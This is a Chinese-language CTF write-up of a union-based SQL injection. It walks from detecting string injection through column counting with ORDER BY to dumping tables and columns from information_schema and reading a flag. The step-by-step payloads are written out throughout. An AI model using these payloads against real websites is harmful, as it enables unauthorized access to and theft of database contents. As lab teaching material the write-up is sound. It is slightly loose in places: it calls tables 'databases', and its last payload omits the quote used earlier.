看到id=1 首先要判断是字符型还是数字型注入
根据书上方法判断数字型
id=3-2
返回页面与id=1的页面不同,说明不是数字型
加入单引号判断是否为字符型
id=1%27(这里'被转译成%27)
没有任何返回,说明有错误,存在注入。
接下来使用order by 判断表的列数。
id=1' order by 3 --+ (空格为%20 --+注释后面的语句)
显示正常
id=1' order by 4 --+
说明一共有三列
接着我们使用union来进行查询
union又叫联合查询,将俩个或更多个查询结果组合为单个结果集。
要遵循所有查询中列数必须相同,数据类型必须兼容。
id=-1' union select 1,2,3 --+
这里id为-1是因为要让服务端返回union select 的结果,把id设置为-1,因为数据库没有-1的数据,所有会返回select的结果。
返回2,3,这意味着 2和3的位置可以输入sql语句,比如直接在2输入database()查询当前数据库
当前数据库是note。
我们要查询当前一共有哪些数据库,这时候要知道一个sql5.0以后自带的一个数据库
information_schema,在这个数据库中可以查询所有数据库名,字段名和表名。
id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = database() --+
一共有俩个数据库,想知道flag很明显在fl4g的数据库里,继续查询fl4g数据库里的字段有什么
id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name = 'fl4g' --+
看到一个字段fllllag,直接查询这个字段
id=-1 union select 1,fllllag,3 from fl4g --+
成功获得flag